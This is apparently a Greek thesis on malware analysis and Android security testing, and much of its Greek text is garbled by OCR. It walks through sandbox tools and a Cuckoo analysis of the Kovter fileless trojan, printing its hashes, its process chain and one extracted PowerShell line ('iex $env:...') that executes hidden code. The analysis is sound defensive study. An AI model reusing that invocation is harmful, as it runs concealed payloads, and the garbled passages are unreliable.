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Abstract

The aim of this thesis is to provide a step by step guidance related to the malware

analysis of exe and apk binaries as well as the security evaluation for android applications.

The dissertation begins by providing some introductory information related to desktop and
mobile operating systems highlighting the dominant players in the market. The next section
provides definitions regarding the malware analysis, the four pillars consisting it and the
security evaluation for mobile applications. Thereafter, a focus is given on the analysis of exe
binaries presenting the tools and the methodology of the analysis. Then, section 3
concentrates on the malicious apk binaries presenting the development of the testing lab and
the steps followed for the analysis. Moving into the next section, the dissertation emphasizes
on the security evaluation for android applications by presenting an intentionally vulnerable

application and the ways in which a malicious user can exploit it.

Finally, the thesis concludes by highlighting the valuable tools identified and summarizes the

key steps followed through the malware analysis and security evaluation processes.

Keywords. Malware analysis, Security evaluation, Mobile applications
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Elcaywyn

To mA€ov 8LadeSopévo AettoupyLko cloTNA 600V adoPA TOUG UTTOAOYLOTEG KOl TAL
laptops eival pe Stadopd amnd 1o Sevtepo To Asttoupyko cvotnua twv Windows (Ewkdva 1).
AOYW TOU OTL KATEXEL TO PEYAAUTEPO UEPLSLO OTNV ayopq, Ta cuothpata pe Windows OS

QIMOTEAOUV KL TO OTOXO TWV TIEPLOCOTEPWY KOAKOBOUAWV EVEPYELWV.

Opel’atlﬂg SyS[em Mar—ket Share Monthly ¥ 2019-05 v to  2020-04 ¥ ZRun

Device Type v in v Desktop/laptop

100

80
2020-04

50 Chrome OS: 0.40%
Share:

40 Linux: Share: 2.87%

@ Mac OS: Share: 9.75%
@ Windows: Share:  86.92%

20

—0
2020-01 2020-02 2020-03 2020-04

o
2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11

W Chrome OS: Share Ml Linux: Share Mac OS: Share

Ewova 1 — Market share of OS

Ao TNV aAAn, n €€EALEN TNG TEXVOAOYLOG OTLG KIVNTEG CUOKEUEG EXEL EMNPEACEL KAOE
TITUXNA TNG avBpwrvng Kabnuepwvotntag. Mapéxetal mAEoV n SuVATOTNTA TNC UTIOAOYLOTIKIG
Lox0OC £VOG UTIOAOYLOTH O€ KIvnTa TNAEPwva Kat tablets, xwpic Opwc va mapéxetal kat to (dlo
eninedo aocdadalelag (Kaur & Chander, 2015). To kwvnto tnAépwvo onuepa amoteAel oToOX0
ueyaAutepnc aflag oe ox€on Pe €vav UTIOAOYLOTH, KOBwWG oL XProTeC amobnkeUoUV GE AUTO
mdpa MOAAEG TMANPodopleG VW TPAYUATOTOLOUV akOUa Kal Tpamnellkés cuvaAlayég (10
reasons why cybercriminals target smartphones, 2018 kat Pritchard, 2016). To Asttoupylko
ocvotnua Android Beswpeital MAEov TO KUPLOPXO AELTOUPYLKO CUOCTNUA YL TIG KLVNTEQ

OUOKEUEG KOBWE KATEXEL TO LeyaAUTEPO HePidLO TG ayopds (Ewdva 2).
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Operatlng System Mar—ket Sha’re Monthly ¥ 2019-04 v to  2020-03 v & Run

Device Type v in v Mobile *

60 2020-03
Android: Share: 71.17%
i0S: Share:

@ Series 40:
o ——n—o——-o——o— 5 @ Unknown: Share: 0.38%

2019-04 2019-05 2019-06 2019-07 2019-08 2019-09 2019-10 2019-11 2019-12 2020-01 2020-02 2020-03

W Android: Share M| iOS: Share Series 40: Share Unknown: Share

Ewkova 2 - Market share of Mobile OS

AapBavovtag ur’ oYLy Ta IAPATIAVW, OTO TTPWTO HEPOG TNG TAPOUOCACG SUTAWUATIKAG
gepyaciag aoxohoUpaote e To malware analysis, Kal CUyKeEKPLUEVA avaAUOUE KOKOBoUAa
Selyparta mou otoxevouv cuotnuata pe Windows OS Kal KIVATEG CUOKEUEG UE AELTOUPYLKO

Android. E€etaloupe Aoutdv Kata oELpa:

e £va trojan malware, ovopartt Kovter

e £va UTOMTO €&KTEAEOIHO, Tapouctalovtag Tto PBAuata mou  akoAouBouvtal
T(POKELUEVOU va Tipoodloplabel n duon (kakoBouAn i Kn) TNG Aettoupyiag Tou.

e Ul KakOBouAn edapuoyry TOU OToxeUsL oOuokeUEG Android n omoia eival
KapoudAaplopévn we matyvidt, ovopartt Snake.

e U KakOBouAn edapuoyn ToOU oToxeLEL ouokeuéG Android n omoila eilvat

KapoudAaplopévn we app yvwotng tpamnelag, ovouatt ING_certificaat.

Katomiv, oto 6e0Ttepo UEPOG TNG EPYAOCLAG, XPNOLLOTIOOUE Pl EPapoyr) TIOU EXEL
avarntuxBel yla okomoU¢ testing mpokeluévou va avadeifoupe TG SladopeTIKES
€UTAOELEC TTOU EVOEXETOL VO UTIAPXOUV O€ pia android edappoyn Kol va opoucLACOUE
TOUG TPOTIOUG LLE TOUG OTIOLOUG €vag KaKOBOUAOG XpHotnG Uropel va tig ekpetaAleutel. H
epappoyn mou eykabBloToUUE Kol avaAUoupe, ovopaTtl Sieve, amoteAel €va app Tou
Slaxelpiletal kwdkouc. Exel avamtuxOel amokAELOTIKA yLo okomoug testing amod v F-
SECURE Labs, etatpeia mou avémntuée 1o drozer, €va amnod ta mo Stadsdopéva epyaleia

yla tnv afloAoynon tou emunédou aopaleiag Android edappoywy Kal CUGKEUWV.
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1. Evvololoyikol Npoacdloplopot

1.1 Malware Analysis

To Malware Analysis eivat éva lSlaitepa KpioLo edio yla 660U¢ 0LoXOAOUVTOL LE TNV
aodAlela  UTIOAOYLOTIKWY cuoTnpAatwy. Omowadninmote edappoyrn) TmoOU MMopel va
dnuloupynoel mMPoOPAnUa oe éva cUOTNUO €(TE AANOLWVOVTAG TO, €LTE QMOKAAUTITOVIAC
TIANpodoplieg o€ Tpitoug umopel va xapaktnplotel wg malware. To Malware Analysis gival n
TEXVIKN TNG avayvwplong, tng amokaAuPng tng Astoupylag Kal tng €UPECNC TPOTWV
TEPLOPLOMOU HLag KakoBouAng epapuoyng (Sikorski & Honig, 2012, o. 29).

H peAétn pag kakoBouAng edappoyng mepthapBavel pla oslpd and Slepyaoieg oL omoleg
umopouLV va opadomnotnBouv oe SladopeTikd enineda avaloya Ue T GUON TWV TEXVLKWV

avaAuong tng kabeutag (Ekova 3).

Fully-automated analysis: H autopatonowunpévn avaluon amoteAel tTnv amAolotepn

Kall Toxutepn HEB0SO yLa TN HEAETN €VOG UTIOTITOU TTPOYPAUMATOG. MPOKELTAL OUCLOOTIKA YL
™V afloAoynon autoU PE T XpHon MANPWGS AUTOUATOTIONUEVWY EPYOAELWY, HEPIKA Ao Ta
omola eival SlaBéoiua wg EUMOPLKA TIPOIOVTA Kal HEPLKA elval Swpeav. Autd Ta gpyaleia
€xouv oxedlaoTel yla va eKTLHOUV ypriyopa TL Ba pmopouoe vo KAVEL TO Selypa Qv eKTEAE(TO
o€ €va cluoTnua. Zuvnbwg mapayouv avadopes e AEMTOUEPELEG, OTWG TN dpacTnpLoTNTA
apxelwyv, Tnv kukAodopia diktvou K.Am. ZupBdariouv otn Stadkacia anokplong cuPAavIwv
(incident responding), kaBwc¢ xepilovtal ypryopa TEPAOTIEC TOOOTNTEC KAKOBOUAou

AoyLopLkoU.

Static properties analysis: Mpokettal yla TNV €£€Ta0nN TWV OTATIKWY LOLOTATWY TOU

Selypotog. AuTtéC oL Aemtopépeleg pmopoUlv va AndBolv oxeTikd ypriyopa, emeldn dev
neplhappdavouv tnv ektéAecn Tou SuvnTKA KakOBouAou mpoypAppatog. OL OTATIKEG
dLotnteg meplthapPavouv TG cUUPBOAOCELPEC TIOU £lval EVOWUATWHUEVEG OTO OpPXELO, TIG
ouvoyelg (md5, shal, sha256), evowpatwpévoug mopoug, urtoypadég kat metadata omwe n
nuepopunvia dnuwoupyiag k.Am. Auti n Stadikacio cupBAAAEL oTOV TPOGSLOPLOUO TOU KOTA
TIOOOV 0 AVOAUTAG TIPETEL VAl PLEEL LA TILO TIPOCEKTLKA UATLA 0TO Selypa XpnOLLOTIOLWVTAS

TIO OAOKANPWHEVEG TEXVLIKEG KL TTOU VOl ECTLACEL TOL EMOUEVA BripaTa.
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Interactive behavior analysis: H Suvapikn avaAuvon adopd tnv ektéAeon Tou malware

KAl TNV Tapatipnon tng cUUTEPLPOPA TNG OE TPAYUATIKEG oUVONKEG. MpEMeL OUWG O
EPELVNTNG VA ELVOL TIPOOEKTIKOG KAl va €XEL PPOVTIOEL va. SNHLOUPYNOEL €va EAEYXOEVO
nieptBailov (*sandbox environment) 6mou Ba ekteAeotel n edappoyn xwpeic va PAaP el aA a

ocuotiuata, aAAd tapAaAAnAa va €XeL Ta amoTeAEoUATA TTOU ETLOUUEL.

Manual code reversing: Auto T0 0TadL0 MepAapPBAVEL TNV EEETACN TOU EKTEAECLUOU,

ToU KWOKA 0 omoiog to amoteAel. Me autd Tov TPOTO O €PEUVNTIG UMOPEL va OUANEEEL
TIANPOPOPLEG yLa TOV TPOTIO AELTOUPYLAC KOL TOUG OTOXOUG TNG KAKOPBOUANG ebapUoynG KaL va
KaTavoroel AAAEC SuvatoTnTEG TOU KakoBouAou Selypatog mou dev epdaviotnkav Katd tnv
ouuneplpopikn Tou avaluon. H dtadikaoia nepthappavel tn xprion disassembler, debugger

KaBwg Kot AAAwV eEELOIKEVUEVWY EPYAAELWV.

Manual code reversing

\

'

Interactive behavior analysis

Static properties analysis

Fully-automated analysis

Ewova 3 - Malware Analysis techniques

ITIC TIEPLOCOTEPEC TIEPUTTWOELG €€ETAONG KAKOBOUAOU AoyLOULIKOU, TA TOPATIAVW
enineda kot oL Slepyacieg mou ta ocuviotouv sivatl aAAnAévdeta kabBw¢ oL mAnpodopleg ou
€€AyovTaL KOl CUYKEVTPWVOVTAL O €va 0TAdlo Xpnollomnolouvtal yia tTnv kabodriynon oto

ETOUEVO.
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*To sandbox eival €vag pnxaviopog oaodaleiag mou mapexel tn Suvatotnta
EKTEAEONC KOL KOT ETMEKTAON AETTOUEPOUG UEAETNG €VOG KakOBouAou Aoylopikol o€ éva
eAeyxXOUEVO Kal ‘OmopovVWUEVO’ TEpBAAAOV. Me TOV Opo €AEYXOMEVO KAl ‘QMOUOVWUEVO’
€vvooU Ue €va MepPLBAAAOV TTOU AELTOUPYEL LE TIEPLOPLOUEVOUC TIOPOUG KOl KATIOLEG EAAXLOTEC
Aeltoupyleg mou amattovvtal yla TNV akplpry SoKLUR TwV MPOYPAUUATWY i AAAou, umo
avamntuén, kwdika. Me tnv texvikn tou sandboxing e€aleidetal To evOexOUeVO eKTEAEDNC
oaMaywv oto host machine, oL omoie¢ Ba pmopouocav va amoBouv KATAOTPEMTIKEC. To
onUavtikd otolxelo, Aoutov, eival otL dev TiBetal o kivbuvo T0 dUCIKO pnxavnua. Elvat
PopaVEG OTL O TIPOYPAPUATIOTAG adoU £xel poPel oe €Aeyxo (U€ow TNG eKTéEAEONC O€
sandbox environment) tou €KAOTOTE MPOYPAUUATOC, TOTE KOL HOVO TOTE WUMOPEL va TO
OUYXWVEUEL, VA TO EVOWMOTWVEL KAl TEAIKA va Tto B€tel otn 81abson OAwv TwV TEALKWY

XPNOTWV (0€ TePIMTWON OV SV TPOKELTAL Yot KOKOBOUAO AOYLOUIKO OAAQ yLOL KATIOLO UTIO

e€étaon mpoypaupa).

1.2 Security Testing of Mobile Applications

Me tov yevikotepo 0po Mobile Application Testing avadepopaote otov EAeyxo Twv
activities Twv edpapuoywv oe KIVNTEC CUGKEVEC, XPNOLUOTIOLWVTOG KOBOPLOPEVOUG EAEYXOUC
Kal €pyaAeia, PE oOKOMO TNV TOTOMOiNON TNG ouumepldopdg, t™g amoédoong, NG
XPNOTLKOTNTAC, TNG WOLWTIKOTNTOG Kal TnG acddalelag (Gao, Bai, Tsai, & Uehara, 2014). Itnv
napovoa epyacia Ba aoxoAnboUpe QAMOKAELOTIKA HUE TOUG €AEYXOUG Tou adopouv TNV

aopaAela Twv epapuoywy.

O éAeyxog ¢ aoddlelag twv mobile applications amoteAel pia mpdkAnon. To
TIAOUGCLO TIEPLEXOUEVO TIOU AMOONKEVETOL OTIC KIVNTEG OUOKEVEC EYELPEL SLOPKN EpwTHATA
OXETIKA HE TNV OKEPALOTNTA KAl EUTILOTEUTIKOTNTA TwV Sedopévwyv avtwv. Eldikotepa
onuepa, oL teAkol xprnoteg dev yvwpilouv moco aocdaleic eival oL edappoyEG Tou
XPNOoLUomololV, KaBwg UTIAPXEL EVOG TEPAOTLOC aPlOUOC amd auTeg, e€altiag KUplwe Tou
EKONUOKPATLOUOU, LE TNV évvola TNG SuvatotnTag avamntuéng, Tng Kowotntag twv publishers

(Kirubakaran & Karthikeyani, 2013).

OL popNTEC CUOKEUVEC XPNOLLLOTIOLOUVTAL WOTE OL XPROTEG VO £XOUV IPOCPacn o€ pia

MANBWPA UTNPECLWV OMWC €lvol Ta KOWWVIKA &iktua, TPAmellkéG UTMNPEOLieg, £kdoon
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elottnpiwy, nAektpovikoU eumopiou, e-mails, ERP, CRM k.a.. OAeC auTEC oL ePOPHOYEC
umopouv va amnobnkevoouv login credentials, aplOpoUG MIOTWTIKWY KAPTWV, TLLOAOYLQ,
napayyeAieg. Eav opwg ol epappoyEC auteég dev €xouv avamtuxbel pe tpomo mou va
TIPOOTATEVEL TO TIEPLEXOUEVO QUTO UTIAPXEL LEYAAOG Kivduvog TNG amokAaAung Tou o€ pun

e€oualodotnuévoug xproteg (Jain & Shanbhag, 2012).
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2. Malware Analysis (.exe version)

2.1 Testing Lab/Tools

Process Hacker: MNpokettal yla €va MOAUTIHO €PYOAELOD Yl TIPOXWPNHEVOUG XPHOTEG.
Xpnollomoleitatl yla tn PeAETn Slepyaciwv Tou ekteAolvial o€ €va cuotnua. Mrmopel,
emiong, va Bonbnosl otov €VIOTIOMO KAKOBOUAWV TPOYPAUUATWY TOPEXOVTAC TIOAAEC
TANpPodopieg yla tov TPOMo Aewtoupyiag TouG. Mapkdpel He OSLOPOPETIKO XPWHA TLG

Slepyaocieg avaloya pe tn puon toug (Hacker > Options > Highlighting).

Process Monitor (Procmon): Mpokewtal ywa éva Swpedv epyaleio amd ta Windows
Sysinternals. To epyaleio mapakoAouBel kot eudavilel o MPAYHATIKO XPOVO OAn Tn
SpaotnplétnTa ToU ocuotApaTOo¢ apxeiwv oto Microsoft Windows OS. Zuvdualel duo
nolawotepa epyaleia, to FileMon kat to RegMon kat xpnowlomoleital otn Slaxeiplon

OUOTNUATOG, OTNV NAEKTPOVLKA EYKANUATOAOYLO KOL OTOV EVIOTIOUO OPOAUATWY.

procDOT: XpnoLomoLeital oTtnV cUpnePLdopLKr) avaAuaon Tou delypatog. Mpokettal yla éva
epyaleio mou emnefepyaletal logfiles mpoepyxopeva amdé to Procmon kat PCAP logs
TipoepXOUEVa amod Toug analyzers Windump, Tcpdump yla va dnuloupynoel éva ypadnua
HEOW TOU OeT gpyaAewwv Graphviz. N tnv opBn xprion tou procDOT akoAouBouUpe ta

TAPAKATW BrApata:

e [lpoxwpoupe otn Ann tou Windump.exe apxeiou

e EykataBiotolpe ta epyadeia Procmon kat Graphviz

e [lpoxwpoUpe otnv oAAayr KATOLWV TOPAUETPWY OTO Procmon amevepyomolwvtog
TG emhoyECg “Show Resolved Network Addresses” amo tnv kaptéda “Options” kat
“Enable Advanced Output” amd tnv koaptéla “Filter”. TéAog, evepyomoloUUE TNV
ermtdoyn “Thread ID” otnv kaptéAa Options > Select Columns

e Opiloupue evtog tou procDOT (options) to full path yia to Windump.exe apyeio kat to

avtiotolyo yla to apxelo dot.exe Tou graphviz

Metd ta mapandvw, elodyoupe oto gpyadeio procDOT ta amoBnkevupéva o popdn CSV
logfiles, mou €xouv e€axBel mponyoupévwg amd to Procmon, TIPOKELUEVOU va YIVEL N
QUTELKOVLOTN TOU TPOTOU Aettoupyiag tng embupuntng Stepyaciag. TEAOC, mapabETOUE KAl TN

onuaotia mou £xouv ta BEAN oto ypadnua avaAoya LE TO XpwHo Toug (Ewkdva 4).
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Read/Get/Receive. Write/Set/Send.
Thicker lines indicate the ~———— Thicker lines indicate the
number of log-records. number of log-records.

Create/Rename.

A process, a thread, or a file.
Renames also come up with
dashed initiator edges.

Injection.
s A thread is created in some
other process.

Ownership. Ownership.

Between process/thread. Between process/thread.
Created during monitoring. Created before monitoring.
RegValue. .

A file/URL that is set as —  Main Module.

Registry key value For a specific process.

Additi I Modul

Delete/Kill.
A file/process. For a specific thread.

Ewova 4 - procDOT edges

pestudio: Mpokeltal yla €va gpyaleio mou xpnotpormnoleital otn dtadikaoia tou Malware
Initial Assessment tnv apxtkn afloAoynon &nAadr tou kakoBoulou Seiypatog (Ewdva 5). To
KaKOBoOUAO Aoyloplkod mpoomaBel ocuxvd va KpUPEL TIG TMPOBECELS TOU TIPOKELUEVOU va
armodUyeL TNV £yKaLpn AVIXVEUGN KOl OTOTLK avaAucor Tou. Me autov Tov tpomo, adnvel
ouxva umonta potifa, anpoodoknta peTadeSouéva, avwHaAieg Kal AAAOUC TTOAUTLUOUG
Oeiktec. Asdopévou OTL To apyeio Tou avaAUeTal Sev eKTEAELTAL TTOTE, UTTOPEL va YIVEL O
€AEyX0C AYVWOTWV N KakOBoUAwv eKTteAéolpuwy, trojan kol ransomware xwpi¢ kivduvo

HOAUvVONG.

‘ pestudio (GU) ‘ ‘ pestudiox (CLI) ‘ 3rd partytool ‘

I I I ndicators, anomalies

strings, imports, exports,

exe, dll. > peparser > report
- resources, debug, manifest,

overlay,

configuration

Ewoéva 5 - pestudio architecture

Cuckoo Sandbox: To cuckoo sandbox eival éva aQuUTOUOTOTIOLNUEVO GUOTNUA QVAAUGNG
KAKOBOUAOU AOYLOMLKOU avoLXTOU KWOLKA. XPNOLUOTIOLELTAL Yo TNV QUTOUATN EKTEAEDN Kall
oVAAUCT OPXELWV KL TN CUAANOYI) TIEPLEKTIKWY ATMOTEAECUATWY AVAAUONC IOV TiepLlypadouv

TL KAVEL TO KAKOBOUAO AOYLOUIKO EVW EKTEAELTAL OE QATIOUOVWHUEVO AEITOUPYLKO GUOTNHAL.

Mrmopel va avaktrioeL Tov akoAouBo TUTIO AMOTEAECUATWV:
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¢ Ixvn KAfogwv Tou ekteAouvtal and OAeg tig Stadikacieg mou dnpoupyouvtal amnod to
KQKOBOUAO AOYLOULKO.

e Apyxeia mou Snuoupyouvtal, Staypadovral Kot HETadOopTWVOVTAL aTtd To KakoBouAo
AOYLOULKO KQTA TNV EKTEAECH TOU.

e Xwpol LvnunG tTwv dladkaolwyv KakoBouAou Aoylopkou.

e [apakoAoUBnon kukAodopiag Siktuou oe popdn PCAP.

e JTypotuna 08ovng mou eAndOnoav Katd tnv eKTEAECH TOU KAKOBOUAOU AOYLOULKOU.

EmumAéov, umootnpilel tn xprjon signatures ywa TNV KaAUtepn avaluon Tou
KakOBoulou Aoylopikol kaBwg emiong kat tn Stacuvdeon pe virtual machine mpokelpuévou
va xpnotpomnonBei wg sandbox yla va mpaypatononBouv ol anapaitnteg Stadikaoieg kat
€Aeyxol. ITnv ewKova mou okoAouBel mapouoialetal n dadikacia and tnv umofoAr Tou

malware PéxpL TNV e€aywyr) CUUMEPOOUATWY.

TNV £PEUVA HAC XPNOLUOTIOLOUHE €va VM YLt TNV OLUTOUATOTIONUEVN AVAAUCH OTO
omolo yivetal n sykataotacn tou cuckoo. AnuloupyoUpe, emiong, €&va vm ylol TNV OTATIKN
avaluon Twv KakoBoulwv Selypatwv (eykataotacn pestudio) kot €va  ywa TNV
ouuneplpoplky avaluon Twv ekteAéolpwv (eykatdaotacn Process Hacker, Procmon,
procDOT). Ztnv mepinmtwon Tou vm TOU XPNOLUOTOLELTAL yia TNV SUVOULKA avAAUCH TwV
Seypatwy, Wlaitepa xprioun eivat n AELITOUPYLKOTNTA TWV OTLYULOTUTIwY (snapshots) kaBwg
QIOTEAOUV €va EUKOAO HECO emavadopdAg TOU CUCTAUATOG O€ Hia amotunwBeioa kataotaon

TPV TNV HOAuvon.
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2.2 Examining the malicious binary (Trojan Kovter)

To trojan Kovter adopd pia olkoy€vela KaKOBoUAou AOYLOLLKOU TIou epdaviletal o
TIOAEG TapoAAayEG Kol otoxeUel ocuvotnuata Windows. Ou kUpleg mapalayeg Tou
OUYKEKPLUEVOU trojan oTOXEUOUV OTNV EKTEAEON SLADNULOTIKAG amdTng Kat eivat SUokoAo va
EVTOTLOTOUV Kol va adalpeBolyv, kabwg mpokewtal ywa €va fileless malware, ylwa éva
KakOBouAo dnAadn mPOYPALO TIOU XPNOLLOTIOLEL VOO TIPOYPALMOTA YLd VO LOAUVEL Evav
umoAoyloth. Aev Baociletal oe apxela kat dev adrvel ixvn, kablotwvrtag £€tol SUCKOAN TNV

avixveuon kal adaipeor) Tou.

2.2.1 Fully Automated Analysis

Mo TNV OaUuTOPOTOTOLNUEVN OvAAuchn XPNOLUOToloUPE To epyaleio Cuckoo
urnoBaAlovtag To apxeio PDFXCView.exe mou Bplokétav oto Trojan Kovter. ¥to Dashboard
(Ewdva 6) mapouatalovrtal Ta ixvn mou adnVveL TO CUYKEKPLUEVO EKTEAEDLUO o€ popdr digest
md5, sha-1 kat sha-256. Auta otnv ouoia pog fonBouv va avayvwplooupe To v AOyw apxeio

o€ KaBoALKN Xpron o€ cuoThuaTA.

cuc 00?7; @ Dashboard = Recent « Pending Q Search Submit Import
Summary
B Archive PDFXCview.exe @ Trojan.Kovter.zip # Score

Summary This archive is very suspicious, with a score of 18.2 out of

Size 421.8KB

e scoring system is currently stil in development and should
Ipha feature.

Type PE3Z executable (GUI) Intel 80386, for MS Windows Piea

MD5  15af6227d39ca3f9d1dcd8566eboas7

SHAT c8c3bf9ed944b614aedb3e747e69e84026Tha039 A Feedback

SHA256 40850153dceec2c8bbl91 d1e265fOC81 5403731 IExDe:w!g different results? Send us this analysis and we will inspect it Click
nere

CRC32 DA6F1CBS

ssdeep None

0000000000

Yara Nonematched

Ewova 6 - Kovter Trojan summary

MNapakatw oto Dashboard (Ewkéva 7) mapabétovral mANPodopieg OXETIKA LE TO TIOTE

urtoBAnNBnke to apxeio oe avaluon Onwg emniong KoL To MOco SPKNCE N avAAUCK TOU.
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MNapouaotalovtal miong Ta signatures mou evepyomolOnkav Kotd TV availuon, Tpayua To

omnolo SleuKOAUVEL TNV TpooTtABEeLa KATAVONONG TNG AeLToupylag Tou kakoBouAou Seiypartod.

CW'@.‘L".’-’Z' @ Dashboard = Recent ¢ Pending Q Search Submit Import

O Information on Execution

Category ~ Started Completed Duration Routing  Logs

ARCHIVE ~ Feb.6,2019,1:44am.  Feb.6,2019,147a.m.  161seconds none Show Analyzer Log
Shaw Cuckoo Log

A Signatures
© Queries for the computername (14 events)
© Checks if process is being debugged by a debugger (1 event)

@ Uses Windows APIs to generate a cryptographic key (40 events)

O Collectsii ion to int the system i id, Digif , i (2 events)

© Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

@ The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

@ The file contains an unknown PE resource name possibly indicative of a packer (3 events)

00AECO0OO00BGOOO00O

© HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

127.0.0.1:8000/analysis/1/summary#signature_network_http

Ewkova 7 - Kovter Trojan summary

Extracted artifacts

Onwg ¢aivetal mapakdatw (Ewkova 8) To ekTeEAEOIUO €EAYEL €val script e TO OvVopa

powershell, to ornoio tpéxet Tnv evtoAr iex Senv:kooagdd.

Extracted Artifacts

Extracted
Category: script
Yara: None matched
Program: powershell

First seen: Feb.6,2019,1:44a.m.

Script

iex Senv:kooagdd

Ewkova 8 - extracted artifacts
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Behavioural Analysis

Mpoxwpdue twpa oto behavioural analysis, 6mou ekel mapouoldletal To SEVTpo Twv
Slepyacwwv mou mpayuatonolouvtal (Ewéva 9Error! Reference source not found.). Mo
OUVKEKPLUEVQ, GALVETOL TTOLA TIPOYPALATA TPEXOUV LOVA TOUC KOL TTOLOL £XOUV KAAEOTEL Ao

TIOLQ, TIPOKELUEVOU VOl EKTEAECTOUV.

cuc 00'\? @ Dashboard i= Recent &f Pending Q Search Submit Import
@ Process tree v
mshta.exe ) . ) ) - 3768 o

(o] powershell.exe -
Po 0 - o eny id 1188 v
regevraz.exe [ 1650 [

regsvi3Z.exe =3

Ewkéva 9 — Process tree

Qaivetal eniong to path oto omoio €xeL amoBnkeutel To KABE apxeio oto vm Twv windows
kal to ID tng kaBe Siepyoaoiag. Xapaktnplotikd BAémoupe otL to PDFXCView.exe €xet PID
2108. Eniong, BAEMOUUE OTL UTLAPXEL AAAO Eva EKTEAECLUO e Ovopa mshta.exe, To omolo €xel
PID 3768 kal to omoio kaAel tn Siepyacia powershell.exe mou eidape oto nedio extracted
artifacts. YrnevBupiloupe OtTL TO zip apxeio mou umoBAaAape TPoOG avaAuon MEPLELXE LOVO TO
ekteAéolpuo PDFXCView.exe. Zuvexilovtag, to powershell.exe kaAel tn Siepyacia pe ovoua
regsvr32.exe n omola PE TN OElpA NG EOVOKAAEL TOV €UATO TNG WOTE va ekTeAecBel oe

OUYKEKPLUEVO path.

cuckga®s” @ Dashboard EE Recent of Pending Q Search

'O
=)
o
o)
©
=)
(=]
L=
<)
©
()
L]
0
0

Process contents v

Time & API Arguments Status Return Repeated

LdrGetDIlHandle advapi32.dll
8x77460080 1 8 0
]

LdrGetProcedureAddress @
ex77442e15
FileEncryptionStatusA o ]
ADVAPI32
ax77480008

LdrGetProcedureAddress =
x77442888
FileEncryptionStatusW 1 8 ]
ADVAPI32

Ewkéva 10 - PDFXCview.exe
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To medio Dropped Files mepléxel apyxela mou dnuioupyel
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T0 malware Katd v

EKTEAECT TOU. ITNV MEPIMTWON MOG UTIAPXOUV 4 TETOLO APXELQ, TOL OTOLO UMOPOULE va Ta

KaTteBACOUUE Kal va Ta uTtoBaAAou e o€ epaltépw avaAiuon (Ewdva 11). Ot mAnpodopieg

Tou mapouctalovral oto cuckoo yla auvtd adopoulv To PEYEBOC TOUG KAl Ta {Xvn TOUG VW

napaAAnAa Sivetal n duvatotnta, umtoBoAng Toug oto Virus Total yia e€€taon (Ewdva 12). H

urtoBoAn evog €€ autwv bivel evbladpépovoeg mAnpodopieg kabBwg avayvwplletal wg

KakoBoulo amno 63

antivirus mpoypaupota (Ewdva 13).

cuckgo?” g Dashboard i= Recent &f Pending Q Search

00060000000000

Dropped Files

Name 6185cd64d1cdc264_1d160.e91cde
Filepath C:\Users\Cuckoo_Guest\AppData\Local\d5129\1d160.e1cde

Size 31.7KB
Processeb 6 (regsvraz.exe)

Type data

MDS ee74bb16d0dd616e2dfc743af769%eb2

SHAT c19342eca795daeed7f9147b571966de222cca7a
SHA256 6185cd64d1cdc264b19dbdafbbdcbccf7860blbfadbo2937545c71de346eca29
CRC32 16007C32

ssdeep None

Yara None matched
VirusTotalearch for analysis
Name 40050153dceec2cB_pdixcview.exe

Filepath c:\Users\cuckoo_guest\AppData\Local\ Temp\pdfxcview. exe
Size 421.8KB

Type PE32 executable (GUI) Intel 80386, for MS Windows

Submit Import

Ewkova 11 - lNebio Dropped Files

Name
Filepath
Size
Type
MD5
SHA1
SHA256
CRC32
ssdeep

Yara

40050153dceec2c8_pdfxcview.exe
c\Users\cuckoo_guest\AppData‘Local\Temp\pdfxcview.exe

421.8KB

PE32 executable (GUI) Intel 80386, for MS Windows
15af6227d39ca3f9d1dcd8566eboO57
c8c3bf9ed944b614ae4b3e747e69e84026Tb4039
40850153dceec2c8fbbl1912f8eeabe449d1e265T0c8198008be8b3425403e731
DABF1CB5

None

None matched

VirusTotal Search for analysis

& Download

Ewova 12 - Yro eé€taon apyeio
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@

®

DETECTION DETAILS RELATIONS BEHAVIOR communiTy @

Ewova 13 - Virus Total analysis

Dropped Buffers
JUpdwva pe to medio auto, to malware adnvel évav buffer pnkoug 1.3MB tov omoio
€TioNG Umopoupe va utoBaAloupe o avaluon oto Virus Total (Etkova 14). MapoX’ avtd dev

TIPOKUTITEL KATIOLO 0LOONUELWTO ATIOTEAECUA KATA TNV €EETALON TOU.

Dropped Buffers

Name e6a6d9bféddaa017718232c73034fcfIc37eadfd
Size 1.3MB
Type data
MD!
SHA1 e6a6d9bT6ddaabl7718232¢c73034fcfIc37eadfd

&

a2e3cdf942964c6b40e4306Tb1b9539a

SHA256 23269ee7bl1a964065e493ccad6f4b654ae9d71e1a3023121a57c8c2f8T040688
CRC32 D5Fe50D2
ssdeep None
Yara None matched

VirusTotal BSearch foranalysis

Ewova 14 - Dropped buffers

Process Memory

Y10 nebio Process Memory (Ewdva 15) BAEMOUUE apxela Ta omoia KAvouv inject ta
EKTEAECLUA TIOU XPNOLUOTIOLOUVTAL. 2TV TEPLITTWON Hag Yivetal avadopd o 7 TEPUTTWOELG,
OUWG 6EV UMOPOUE VA TIG TTOPOUCLACOUE OTO TIAPOV KElpEVO Adyw oykou TtAnpodopiag
miou adopd Kuplwc ta URLs mou epdaviovral oto Kabe ekteAéatpo mou eivat moAumAndr). H

Tapouaciaon evog TUTILKOU process memory £ival n mopakatw:

SeAiba 22 amnd 122



Malware Analysis | Security Evaluation for Android Applications

Process Memory

Extracted/injected images (may contain unpacked executables)
Dow! 1

URLs found in process memory

http://m

expedia. com/favicon.ico
sk.com/favicon.ice
priceminister.com/
k.com/favicon.ico
.infonatary.com/respender. cgi@V
merlin.com.pl/favicon.ico
cnet.com/favicon.ico

ch.nifty.com/
http://ns.adobe.comfexif/1.0/

http: / /v, etmall. com. tw/
http://crl.chambersign.org/publicnotaryroot.crie
http://search.goo.ne.jp/
http://fr.uikipedia.org/favicon.ico
a0.com.br/favicon.ico
fos. com/favicon.ico
http://search.chol.com/favicon.ico
http://purl.org/rss/1.8/
http://amazon.fr/

http: //www.amazon.co.jp/

http: mtv. com/favicon. ico
http://busqueda.aol. com.mx/

http://search.live. com/results.aspx?FORM=SOLTDF
http://msdn.microsoft.com/

Process memory dump for powershell.exe (PID 1188, dump 1)

certificadodigital.com.br/repesitorio/serasaca/cri/SerasaCAIL. crig

Ewova 15 - Process Memory

